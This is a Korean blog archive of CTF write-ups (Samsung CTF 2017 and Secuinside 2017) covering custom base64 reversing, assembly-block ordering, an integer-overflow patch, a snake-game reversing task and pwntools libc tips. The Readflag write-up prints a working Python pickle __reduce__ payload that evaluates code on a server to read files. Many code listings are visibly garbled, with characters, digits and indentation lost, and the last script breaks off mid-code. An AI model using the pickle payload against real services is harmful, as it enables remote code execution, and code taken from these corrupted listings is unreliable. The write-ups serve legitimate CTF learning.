2017. 7. 23. 19:08

## Samsung CTF_2017(Easyhaskell, rev)


[Summary]

1. Custom Base 64를 이용한 문제이다.

2. 파일의 이름인 argv[0]을 input으로 Custom Base64 인코딩한 값을 출력하는 프로그램이다.

3. 2가지 풀이법이 존재한다.

=> 파일명 브루트포싱

=> Base 64 테이블을 알아내어 바로 디코딩(하지만 이것도 브루트포싱하였다.)


[Analysis] 


[그림 1] Easyhaskell 문제

 이 문제는 간단하게 요약하면 argv[0]을 인자 값으로 커스텀 Base64를 해 결과 값으로 출력하는 프로그램이다.

이 문제를 처음에는 IDA로 열어서 분석하려고 했으나 haskell이라 그런지 조금 분석하기 모호했다. 그래서 우선

처음 IDA로 분석했을 때는 이 프로그램은 프로그램 인자 값을 받아서 무언가를 한다는 것 정도만 확인하였다.


 이제 이 프로그램을 알기 위해서 실행을 해보았는데 인자 값(argv[1])을 주고 프로그램을 실행하든 안주고 실행하든

아래 [그림 2]와 같이 똑같은 결과를 리턴했다.



[그림 2] argv[1]의 영향


 뭔가 이상해서 argv[0], 즉 파일 이름을 변경하고 실행해보았더니 아래 [그림 3]과 같이 프로그램의 결과 값이 

다른 것을 확인할 수 잇었다.



[그림 3] argv[0](파일이름)의 영향


 위 [그림 3]의 결과를 보고 딱 base64가 떠올랐다. 그래서 base64 인코딩 형태가 맞는지 아래 [그림 4]와 같이 

몇 가지 실험을 했다. 먼저 "1"의 결과가 "CH55"가 나왔고, "11"의 결과는 "C)Q5", "111"의 결과는 "C)Q]", "1111"의

결과는 "C)Q]CH55"가 나왔다.



[그림 4] Base64의 특성을 확인하는 실험


 우선 위 [그림 14]의 결과를 보면 패딩 값이 "5"이고 3글자를 주기로 해시 값에 4글자씩 Output으로 나오는 

것을 확인할 수 있다. base64의 원리에 대해 간단하게 그림으로 설명한 블로그가 있다. 해당 블로그를 확인하고

따라오면 된다. 말로 설명하면 3글자 각 8비트 씩을 쭉 나열하여 6비트씩 쪼개어 4글자로 만드는데 각 6비트의 

값은 base64테이블의 index를 가리킨다. 이 때 base64의 테이블이 통상적으로 사용하는 것이 흔히 말하는 

base64 이고, 이 테이블을 사용자가 원하는대로 바꾼 것이 custom base64이다.


 참고 블로그 주소 : http://bbolmin.tistory.com/46


 이제 이 문제가 Custom Base64 라는 것을 눈치챘고 테이블을 알아내야 하는데 테이블의 경우 바이너리에 

하드코딩되어 있을 수도 있고 어떠한 알고리즘으로 만들어낼 수도 있지만 그렇게 문제를 해결하지 않았다.


 이 테이블을 직접 000000~111111 까지 64개의 테이블을 직접 만들었는데 만든 방식은 아래와 같다.


1) 앞의 6 * 3 비트는 아무 값으로 채운다. (Plain Text가 printable 하도록) => 마지막 비트는 1로 

   세팅해서 2번의 결과ㅏ가 printable 한 문자가 나오도록 조작한다.


2) 마지막 6bit 를 000000 부터 111111 까지 만들어 프로그램을 실행한 후 마지막 바이트를 확인후

   테이블에 추가한다.


3) 2번의 방법에서 printable 하지 않은 경우 3번째 6비트 값을 조작하여 2번과 비슷한 방법으로 

   알아낸다.


 위 과정을 통해 테이블을 구해보면 아래 [그림 5]와 같은 테이블을 얻을 수 있다.



[그림 5] 테이블 구하기


  이제 이렇게 구해진 테이블을 이용하여 base64 디코딩하는 루틴을 파이썬으로 작성해서 돌리면 문제에서

주어진 Flag - "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"가 아래 [그림 6]과

같이 복호화되어 나타나게 된다.


[Exploit Code] - easyhaskell_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
###################################################################################
 
def frombase64(s):
    #b64s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    b64s = "|yt2QGYA;u_RCeD0H/c)=NWVo&6nPk9$~dOKa?:<w81T!f3ip]Bxzl@sJjMrXS%#" 
    b64p = "5"
    ret = ""
    s2 = s.replace(b64p, "")
    left = 0
    for i in range(0len(s2)):
        if left == 0:
                left = 6
            else:
                    value1 = b64s.index(s2[i - 1]) & (** left - 1)
                    value2 = b64s.index(s2[i]) >> (left - 2)
                    value = (value1 << (- left)) | value2
                    ret += chr(value)
                    left -= 2
        return ret
 
################################################################################### 
bf = "abcdefghijklmnopqrstuvwxyzABCEDFGHIJKLMNOPQRSTUVWXYZ1234567890"
 
exec_file_path = "/home/holinder4s/Desktop/SCTF_2017/Reversing/EasyHaskell/"
 
result = []
for i in xrange(64):
    result.append('')
 
for i in xrange(64):
    offset = i | 0x40
    if offset > 0x20 and offset < 0x7f and offset != 0x60 and offset != 0x7c:
        target = "AA"+chr(offset)
        print target
    
        os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
        p = process(exec_file_path+target)
        data = p.recv(1024)
        print data
        #data[-2:-1]
        print data[-3:-2]
        result[i] = data[-3:-2]
            
        os.system("rm "+exec_file_path+target) 
        p.close()
    elif offset == 0x7f:
        offset = i
        target = "AA?"
        os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
        p = process(exec_file_path+target)
        data = p.recv(1024)
        print data
        result[0x3f= data[-3:-2]
 
        os.system("rm "+exec_file_path+target)
                p.close()
 
target = "Ah0"
os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
= process(exec_file_path+target)
data = p.recv(1024)
print data
result[0x20= data[-4:-3]
os.system("rm "+exec_file_path+target)
p.close()
 
target = "A?0"
os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
= process(exec_file_path+target)
data = p.recv(1024)
print data
result[0x3c= data[-4:-3]        
os.system("rm "+exec_file_path+target)
p.close()
 
 
print "[*] table generated~~!!"
print "   - \""+"".join(result)+"\""
 
print frombase64("=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5")
 
# ref1) http://bbolmin.tistory.com/46
# ref2) https://blog.affien.com/archives/2004/12/27/base64-encodingdecoding-algorithm/
 
cs



[Get Flag~~!!!!]


[그림 6] flag 확인




끝~!








Posted by holinder4S
2017. 7. 23. 18:42

## Samsung CTF_2017(Buildingblocks, Coding)


[Summary]

1. 어셈블리 블럭들의 조각을 던져줌.

2. 이 어셈블리 블럭들의 조각을 Segmentation Fault가 나지 않도록 순서만 맞춰주면 됨.

3. 각 블럭별로 eax레지스터가 비교값과, 연산을 끝낸 값을 구할 수 있음.

4. 구한 eax값과 다음 블럭의 비교값과 비교해 같으면 이어붙이면 됨.(이 조건일 때 seg fault가 안남.)


[Analysis] 


[그림 1] Buildingblocks 문제

 

 이 문제는 코딩을 해서 어셈블리 블럭을 완성시키면 플래그를 주는 문제였다. 위 문제서버로 접속하면 아래

[그림 2]와 같이 주어지는 Base64로 인코딩된 문자열들은 x64머신에서 돌아가는 코드이며 각각의 블럭들을

잘 이어붙여 실행했을 때 Segmentation Fault가 뜨지 않도록 하는 가장 긴 코드를 만든 후 바이트 코드를 

sha256 hexsum을 서버에 보내달라고 한다.(총 10개의 스테이지가 있다.)



[그림 2] 문제 서비스 분석


 그래서 위 base64로 인코딩된 문자열들을 하나하나 디코딩해 바이트 코드로 만든 후 pwntool 모듈을 이용해

어셈블리어로 변환하면 아래 [그림 3]과 같이 여러 개의 코드 뭉치로 나타난다.



[그림 3] 11개의 코드 뭉치 중 일부


 위 [그림 3]을 보면 여러 개의 코드 뭉치들 중 일부를 나타낸 것인데 11개의 코드 뭉치가 위 [그림 3]의 

아래와 같이 cmp문으로 시작하지 않고 eax에 값을 지정하는 유형의 코드뭉치 하나가 있고, 나머지는 전부

위 코드뭉치와 같은 유형이다.


 이제 이 코드뭉치들이 Segmentation Fault 가 나지 않도록 이어 붙이기 위해서는 cmp문 바로 아래 je로

절대로 점프해서는 안된다. 따라서 각각의 코드 뭉치들의 비교 값과 각각의 코드뭉치에서 최종적으로 나오는 

eax의 값을 비교하여 같은 것을 이어 붙여야 한다. 따라서 아래 [그림 4]와 같이 각 코드뭉치에 대해

[비교값, 최종 eax 값]만 나타내어 보면 아래 [그림 4]와 같다.



[그림 4] 코드뭉치 단순화


  위 리스트를 보고 eax값과 cmp 비교 값이 같은 것끼리 이어 붙이는데 앞서 설명한 cmp문으로 시작하지 

않는 유형은 무조건 코드뭉치의 제일 앞이므로 여기서부터 eax값과 비교문이 같은 0번째가 바로 뒤를 잇고

그 다음이 4번째... 이렇게 쭉 가면 [그림 4]의 아래에 나오는 리스트처럼 코드블럭의 순번을 알 수 있고

이를 바이트 코드로 이어붙여 sha256한 값을 서버에 보내는 과정을 stage10까지 반복하면 아래 [그림 5]와 

같이 플래그를 확인할 수 있다.


[Exploit Code] - buildingblocks_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
from pwn import *
from pwnlib import asm
import base64
import StringIO
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./xxxx")
else:
    p = remote("buildingblocks.eatpwnnosleep.com"46115)
 
 
raw_input()
 
byte_code = ""
byte_code_tmp = []
 
disasm_str = []
disasm_str_tmp = []
 
def init_var():
    global byte_code, byte_code_tmp, disasm_str, disasm_str_tmp
    byte_code = ""
    byte_code_tmp = []
 
    disasm_str = []
    disasm_str_tmp = []
 
def calc_eax(disasm_str_offset):
    eax = 0; edx = 0
    for i in xrange(4len(disasm_str[disasm_str_offset])):
        #print disasm_str[disasm_str_offset][i]
        if disasm_str[disasm_str_offset][i].find("mov"!= -1:
            pos = disasm_str[disasm_str_offset][i].find(",")
            if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
            elif disasm_str[disasm_str_offset][i].find("edx"!= -1:
                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
            elif disasm_str[disasm_str_offset][i].find("rax"!= -1:
                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
            else:
                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
                
        elif disasm_str[disasm_str_offset][i].find("add"!= -1:
            pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
        elif disasm_str[disasm_str_offset][i].find("sub"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
        elif disasm_str[disasm_str_offset][i].find("mul"!= -1:
            if disasm_str[disasm_str_offset][i].find("edx"!= -1:
                mul_eax_edx = eax*edx
                eax = mul_eax_edx & 0x00000000ffffffff
                edx = (mul_eax_edx & 0xffffffff00000000>> 32
            else:
                print "[+] to be implement"
 
    return eax
 
def first_calc_eax(disasm_str_offset):
    for i in xrange(len(disasm_str[disasm_str_offset])):
                #print disasm_str[disasm_str_offset][i]
                if disasm_str[disasm_str_offset][i].find("mov"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
                        elif disasm_str[disasm_str_offset][i].find("edx"!= -1:
                                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
                        elif disasm_str[disasm_str_offset][i].find("rax"!= -1:
                                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
                        else:
                                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
 
                elif disasm_str[disasm_str_offset][i].find("add"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                elif disasm_str[disasm_str_offset][i].find("sub"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                elif disasm_str[disasm_str_offset][i].find("mul"!= -1:
                        if disasm_str[disasm_str_offset][i].find("edx"!= -1:
                                mul_eax_edx = eax*edx
                                eax = mul_eax_edx & 0x00000000ffffffff
                                edx = (mul_eax_edx & 0xffffffff00000000>> 32
                        else:
                                print "[+] to be implement"    
    return eax
 
if __name__ == '__main__':
    for stage in xrange(10):
        init_var()
    
        print p.recvuntil(')\n')
        data =  p.recvuntil(']'); print data
    
        pos = data.find("'")
        while pos != -1:
            pos = data.find("'")
            data = data[pos+1:]
            pos = data.find("'")
            tmp = data[:pos]; print "wjdebug : "+tmp
            byte_code_tmp.append(base64.b64decode(tmp))
            data = data[pos+1:]
        
        for i in xrange(len(byte_code_tmp)-1):
            print "##### wjdebug #####"
            disas_tmp = disasm(byte_code_tmp[i], arch='amd64', os='linux'); print disas_tmp
            print "###################"
            
            linenum = disas_tmp.count('\n')
            disasm_str_tmp = disas_tmp.split('\n',linenum)
            for j in xrange(len(disasm_str_tmp)):
                disasm_str_tmp[j] = disasm_str_tmp[j][32:]
            
            disasm_str.append(disasm_str_tmp)
        
        first_offset = -1; final_eax = 0
        for i in xrange(len(disasm_str)):
            if disasm_str[i][0].find("cmp"== -1:
                first_offset = i
            if disasm_str[i][len(disasm_str[i])-1].find("syscall"!= -1:
                pos = disasm_str[i][0].find(",")
                final_eax = int(disasm_str[i][0][pos+1:],16)
    
        simple_block = [];
        for i in xrange(len(disasm_str)):
            if disasm_str[i][0].find("cmp"== -1:
                simple_block_tmp = []
                simple_block_tmp.append(-1)
                simple_block_tmp.append(first_calc_eax(i))
                simple_block.append(simple_block_tmp)
            else:
                simple_block_tmp = []
                pos = disasm_str[i][0].find(",")
    
                simple_block_tmp.append(int(disasm_str[i][0][pos+1:],16))
                simple_block_tmp.append(calc_eax(i))
                simple_block.append(simple_block_tmp)
    
        for i in xrange(len(simple_block)):
            print "["+hex(simple_block[i][0])+","+hex(simple_block[i][1])+"]"
    
        block_order = [first_offset]
        cur_eax = simple_block[first_offset][1]
        while cur_eax != 0x3c:
            for i in xrange(len(simple_block)):
                cmp_eax = simple_block[i][0]
                if cur_eax == cmp_eax:
                    block_order.append(i)
                    cur_eax = simple_block[i][1]
                    break
        print block_order
    
        byte_code = ""
        for i in xrange(len(block_order)):
            byte_code += byte_code_tmp[block_order[i]]
        #print disasm(byte_code, arch='amd64', os='linux');
        
        sha256_answer = hashlib.sha256(byte_code).hexdigest()
        
        print p.recvuntil('(code bytes): ')
        p.send(sha256_answer+'\n')
    
    
    p.interactive()
 
# ref1) http://docs.pwntools.com/en/stable/asm.html
# ref2) https://stackoverflow.com/questions/7472839/python-readline-from-a-string
# ref3) https://dongyeopblog.wordpress.com/2016/06/24/python-%EB%AC%B8%EC%9E%90%EC%97%B4%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95%EB%AC%B8%EC%9E%90-%EC%B9%B4%EC%9A%B4%ED%8A%B8%ED%95%98%EB%8A%94%EB%B2%95/
# ref4) https://stackoverflow.com/questions/26538588/how-to-sha256-hash-a-variable-in-python
 
cs


[Get Flag~~!!!!]


[그림 5] flag 확인



끝~!






Posted by holinder4S
2017. 7. 23. 18:27

## Samsung CTF_2017(dfa, defense)


[Summary]

1. Integer overflow 취약점을 패치하는 문제

2. read에서 bof 취약점이 터지도록 유도하는 취약점을 패치하면 됨.


[Analysis] 


[그림 1] dfa 문제


 
 이 문제는 Defense 문제로 소스코드가 주어지고 거기에 있는 하나의 취약점을 찾아 패치를 한 후 서버에 보내면

되는 문제였다. dfa.zip파일을 다운로드 받으면 4개의 소스파일이 주어지는데 그 중 취약점이 존재하는 소스코드는

"auto.c"였다. 이 소스 코드 중 취약점이 존재하는 부분은 아래 [그림 2]와 같다.



[그림 2] "auto.c" 중 취약한 소스코드 일부


 위 [그림 2]의 if 문 내부에 namelen + 1 > 0x100에서 overflow가 발생하여 조건문을 우회할 수 있는 

integer overflow 취약점이 존재한다. 조금 자세히 풀어쓰자면 namelen에 0xffffffff라는 값이 들어갔다고

쳤을 경우 namelen + 1의 값은 0이 되고 0과 0x100과 비교했을 때 조건문을 우회할 수 있게 된다.


 이 때 아래 빨간 네모박스의 코드에서 read()함수를 실행하여 namelen(0xffffffff)만큼 linebuf 배열에 

사용자 입력을 받으면서 최종적으로 버퍼 오버플로우 취약점을 유발시키게 된다.


 따라서 위 취약점은 아래 [그림 3]과 같이 패치할 수 있다.



[그림 3] 취약한 소스코드 패치


  이렇게 취약한 소스코드를 패치한 후 해당 파일을 base64하여 서버에 전송하면 아래 [그림 4]와 같이

플래그를 확인할 수 있다. 소스코드를 base64로 인코딩하여 전송하는 스크립트는 아래와 같다.


[Exploit Code] - dfa_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./card")
else:
    p = remote("dfa.eatpwnnosleep.com"9999)
 
#binary = ELF("./")
 
raw_input()
 
if __name__ == '__main__':
    print p.recv(1024)
    p.send('auto.c\n')
    print p.recv(1024)
    result = open("/home/holinder4s/Desktop/SCTF_2017/Defense/dfa/auto_wj.c""rb").read()
    result = base64.b64encode(result)
    p.send(result+'\n')
    print p.recv(1024)
    print p.recv(1024)
    print p.recv(1024)
    print p.recv(1024)
    print p.recv(1024)
    #p.interactive()
 
cs


[Get Flag~~!!!!]


[그림 4] flag 확인



끝~!






Posted by holinder4S
2017. 7. 23. 18:15

## Samsung CTF_2017(Readflag, Attack)


[Summary]

1. Python Pickle 취약점을 이용

2. __reduce__ method의 return으로 지정되는 함수 (RCE가능)


[Analysis] 

  Readflag문제는 이전에 Plaid CTF에서도 나왔던 문제였던 Python의 Pickle 취약점을 이용하는 문제였다.

Pickle이라는 것은 파이썬에서 사용하는 각 객체나 변수, 리스트 등을 파일에다가 쓸 수도 있는 유용한 모듈인데

class를 dump한 후 load를 할 때 해당 클래스의 __reduce__ method의 return으로 지정되는 함수를 실행하는

임의 코드 실행 취약점이 발생한다.


 이 취약점을 이용하려면 아래 exploit 코드와 같이 클래스를 하나 만들고 내부에 __reduce__ 함수를 만들고

return으로 원하는 메서드와 인자를 구성한 후 서버로 보내면 끝이다.


 실제로 아래 exploit 코드를 보내면 실제로 서버에 있는 "test.py"를 open()하여 read()를 하고 출력해주게 

되는데(eval함수를 이용해서) 처음에는 flag를 읽어보려 했으나 flag파일이 있는지도 모르고 파일이름을 

몰라서 문제를 풀던 중 아래 [그림 1]와 같이 뜨는 에러 문구 중 서버의 test.py라는 파일이 서버 프로그램으로

돌고 있다는 것을 파악하였고, 그 파일을 읽어보았다. 그리고 그 파일 내부에 아래 [그림 2]과 같이 플래그가 있었다.



[그림 1] "test.py" 존재 유무 확인


[Exploit Code] - readflag_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
from pickle import * 
import __builtin__ 
import pprint 
import os
import commands
 
class exploit(object): 
        def __reduce__(self):
            p = "open('test.py').read()" 
            return (__builtin__.eval,(p,))
 
print dumps(exploit())+'#'
cs


[Get Flag~~!!!!]


[그림 2] test.py 파일 내 flag 확인



끝~!








Posted by holinder4S
2017. 7. 23. 00:11

## pwntools에서 libc symbols를 이용한 주소 찾기


1. pwntools symbols 이용

=> leak_libc = ELF("./leak_libc")
=> libc_system = libc_base_addr + leak_libc.symbols['system']


이렇게 하면 릭한 libc로부터 오프셋을 변수로 지정할 필요 없이 바로 symbol로 그냥 주소 값을 구할 수 있다.


개꿀~!

Posted by holinder4S
2017. 7. 22. 23:56

## libc에서 "/bin/sh"문자열 주소 찾는 방법


1. pwntools 이용

=> leak_libc = ELF("./leak_libc")
=> binsh = leak_base_addr + list(local_libc.search('/bin/sh'))[0] 


2. strings 이용

=> strings leak_libc | grep bin/sh



Posted by holinder4S
2017. 7. 22. 21:44

## Secuinside CTF_2017(snake, rev)


[Summary]

1. sub_4014DB()함수가 실제 게임을 수행하는 메인 함수이다.

2. 게임을 진행하면서 snake가 목표를 잡으면 점수가 올라가며 stage가 진행된다.

3. stage가 진행됨에 따라 v21의 값에 특정 연산을 진행한다.

4. 우리는 이 연산을 그대로 코드로 옮기고 실제 snake가 목표를 안잡더라도 잡은 것처럼 

    점수를 올리고 stage를 진행시켜가면서 v21에 올바른 값이 가도록 코딩을 한다.

5. 마지막으로 꼬리의 길이가 304보다 크면 또 다른 특정 연산을 수행하고 최종적으로 gameover이거나 flag를 뱉는다. 


[Analysis] 

  snake문제를 실행시키면 아래 [그림 1]과 같이 메뉴가 나타나고 게임을 시작하면 [그림 2]와 같이 목표와 snake가 

화면에 나타나며 snake가 목표를 잡을 때마다 점수가 오르고 stage가 특정 점수 조건

(10 * stage + previous_score - 7 <= new_score)을 만족할 때마다 다음 stage로 넘어간다.


[그림 1] 메인 메뉴



[그림 2] 게임 시작


 게임 방식은 우선 저기 보이는 길다란 snake가 벽에 닿아서도 안되고 자기 자신의 몸에 맞아서도 안되며 0으로 

보이는 목표물을 잡아먹어야 Score가 올라가는 형식으로 위에서 언급했듯이 Score가 특정 조건에 만족하면 다음 

stage로 넘어가는 형식의 게임이다.


 이제 이 게임을 IDA를 통해서 실제 game을 동작시키는 메인 코드인 sub_4014DB()함수를 보면 아래 [그림 3]과 같다.



[그림 3] Play Game (sub_4014DB()함수)의 첫 번째 중요 부분


 위 [그림 3]의 소스코드를 간단히 분석해보면 실제 동적디버깅을 하면서 내부 함수를 분석하면 sub_40105A()

함수는 goal에 도착했는지를 체크하는 함수이고, sub_400DD6()함수는 goal을 잡았을 때  새로운 goal을 

랜덤으로 만들어내는 함수이다.


 그래서 실제로 44번째 줄에서 goal_check를 하고 만약 snake의 head가 goal을 잡았으면 if문 내부로 들어와

46번째 줄에서 새로운 다음 goal을 랜덤으로 생성한 후 48번째 줄에서 score가 다음 stage로 가기에 적합한 조건인지

판단을 한 후 만약 다음 스테이지로 넘어가도 되는 점수라면 50번째 줄에서 sub_4011A5()함수를 실행해 플래그가 

decrypt되기 전의 값이 들어가 있는 v21배열에 특정 연산을 하여 decrypt를 하게 된다. 해당 코드는 아래 

[그림 4]에서 확인할 수 있다. 그 이후는 snake의 이동속도를 증가시키는 루틴이므로 중요하지 않다.



[그림 4] encrypt된 flag 배열을 decrypt 하는 중간 과정 계산 식


 위 [그림 4]가 중요하므로 간단히 분석해 보면 a1이 encrypt된 flag배열, a2가 현재 score, a3이 stage, a4가 

previous_score이고 a2, a3, a4를 이용해 a1의 각 배열의 원소에 특정 계산을 통해 집어넣는다. 이 때의 계산식은 

여러분이 자세히 보면 알 것이고 우리는 그대로 파이썬 코드로 옮기기만 할 것이다. 

여기까지가 플래그를 건드리는 첫번재 단계이다.


 여기 까지 분석을 했다면 그 다음 48번째 줄에서 다음 스테이지로 넘어가지 않는다면 단순히 점수를 올리고 

끝이 난다. 그리고 이렇게 다음 Stage로 넘어갈지 아닐지 판단한 후에는 항상 sub_4010B6()함수를 이용해 

kill되었는지 체크하고 만약 snake가 죽으면 exit_flag의 값을 1을, 살아있으면 0을 반환한다.


 그 이후에 항상 반복문을 돌아갈때마다 아래 [그림 5]와 같이 snake의 꼬리의 갯수가 304보다 큰지 확인하는데 

이 때 꼬리의 길이가 304보다 크면 또 encrypt된 flag가 들어 있는 v21의 값을 특정 연산을 거쳐 decrypt하게 

되는데 이 코드는 아래 [그림 5]에서 확인할 수 있다.



[그림 5] Play Game (sub_4014DB()함수)의 두 번째 중요 부분


 [그림 5]를 간단히 분석하면 v21 배열의 각 원소에 stage, score, previous_score값을 이용해 지들끼리 xor하고 

더하고 빼고 이상한 연산을 한다. 우리는 위에서 설명한 첫 번째 단계와 똑같이 이를 그대로 파이썬 코드로 옮기면 

된다. 자세히 들여다보면 변수명을 이해하기 쉽게 바꿔놓았기 때문에 이해가 갈 것이다. (여기서 이런 변수명의 

역할을 알아내는 것이 어려울 수 있는데 나같은 경우는 그냥 동적디버깅으로 각 변수가 뭔 역할을 하는지 일일이 

확인한다.)


 이제 여기까지 다 끝냈으면 flag를 decrypt하는 두 번째 단계까지 온 것이다. 위 [그림 5]의 85번째 줄에서 exit_flag에 

2의 값을 넣는 것을 확인할 수 있고 그럼 91번째 줄이 실행이 되면서 sub_4013C5()함수를 호출한다. 이 함수의 

역할은 안에 들어가보면 아래 [그림 6]과 같이 생겼는데 게임을 성공적으로 Clear했을 때 v21의 값에다가 또 무슨 

이상한 연산(이번이 3번째 단계)을 한 후 v21의 값을 출력하는 것을 알 수 있다. 그리고 이 값이 flag이다.



[그림 6] game clear역할을 하는 sub_4013C5() 함수 내부


 이제 거의 다왔다. 실제 [그림 6]의 함수를 분석해보면 나머지는 다 콘솔 정리하는 부분들이고 sub_401337()함수가 

중요하다. 이 함수는 아래 [그림 7]과 같은 코드를 가진다.



[그림 7] sub_401337()함수 분석


 자 이제 위 [그림 7]에서 나온 코드를 분석하면 뭔가 이상하다. 지금까지 flag배열이라고 알고 있던 v21이 flag가 

아니고 문제를 푼지 오래되서 까먹어서 위에서 잘못 말했다. 그냥 어떤 값이다. 그래도 문제는 없는데 이 함수를 

분석하면 qword_604180메모리에 mmap()함수로 excute가능한 메모리를 할당하고 102번의 for문을 돌면서 

우리가 지금까지 열심히 구했던 v21의 각 원소와 byte_6040E0메모리에 들어있던 각 원소끼리 한 바이트씩 

xor연산을 하여 새로 할당받은 qword_604180메모리에 넣는다. 그리고 8번째 줄에서 실행을 한다.


 이제 분석은 다 끝났다. 실제로 위 v21에 어떤 연산을 취한 결과와 byte_6040E0의 값들을 xor하여 실행가능한 

메모리영역에 올리고 실행한다. 즉 쉘코드를 실행시키는 것이다. 이제 위에서 설명한 v21을 건드리는 2가지 단계를 

그대로 파이썬 코드로 옮기고 byte_6040E0과 xor한 결과 값을 구한 후 쉘코드를 실행시키기만 하면된다. 

이 때 나는 쉘코드를 출력하는 파이썬 코드와 그 쉘코드를 실행시키는 c코드를 짜서 실행을 했다. 


 파이썬 코드를 실행하면 아래 [그림 8]과 같이 바이트 코드가 출력되고, C코드를 실행하면 아래 [그림 9]와 같이 

flag가 나온다!!! 아 아니다. 안나온다. C코드는 세그멘테이션 폴트가 뜨는데 오류 수정하기가 귀찮아서 IDA에 

메모리에 그대로 바이트 코드를 직접 수동으로 박아주고 실행하였더니 아래 [그림 9]와 같이 flag가 튀어 나왔다.


[Exploit Code] - snake_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
previous_score = 0
score = 0
stage = 1
tail_length = 4
 
v21 = [for i in xrange(102)]
 
def convert2byte(data):
    return (data & 0xff)
 
## Stage 1
while(tail_length <= 304):
    score += stage
    if(10*stage + previous_score - <= score):
        if(stage & 1):
            v21[stage-1+= stage ^ 7
            v21[stage-1+32= v21[stage-1+32+ score - previous_score + (-3)*stage
            v21[stage-1+64+= stage + 12
 
            v21[stage-1= convert2byte(v21[stage-1])
            v21[stage-1+32= convert2byte(v21[stage-1+32])
            v21[stage-1+64= convert2byte(v21[stage-1+64])
        else:
            v21[stage-1+= (stage ^ 2+ 2
            v21[stage-1+32+= (* stage ^ 7+ 2
            v21[stage-1+64= v21[stage-1+64+ score - previous_score + (-3)*stage + 15
 
            v21[stage-1= convert2byte(v21[stage-1])
            v21[stage-1+32= convert2byte(v21[stage-1+32])
            v21[stage-1+64= convert2byte(v21[stage-1+64])
        stage += 1
 
        previous_score = score
    tail_length += 1
 
## Stage 2
if(stage & 1):
    v21[stage-1= v21[stage-1+ ((stage - score + * previous_score) ^ 0xE- 77
    v8 = v21[stage+31]
    v21[stage+31= v21[stage+31+ (-20)*(score ^ * stage)
    v21[stage+63+= ((stage - 31304>> 2)
 
    v21[stage-1= convert2byte(v21[stage-1])
    v21[stage+31= convert2byte(v21[stage+31])
    v21[stage+63= convert2byte(v21[stage+63])
else:
    v21[stage-1+= stage+56
    v8 = (score - previous_score)
    v21[stage+31= v21[stage+31+ score - previous_score - 123
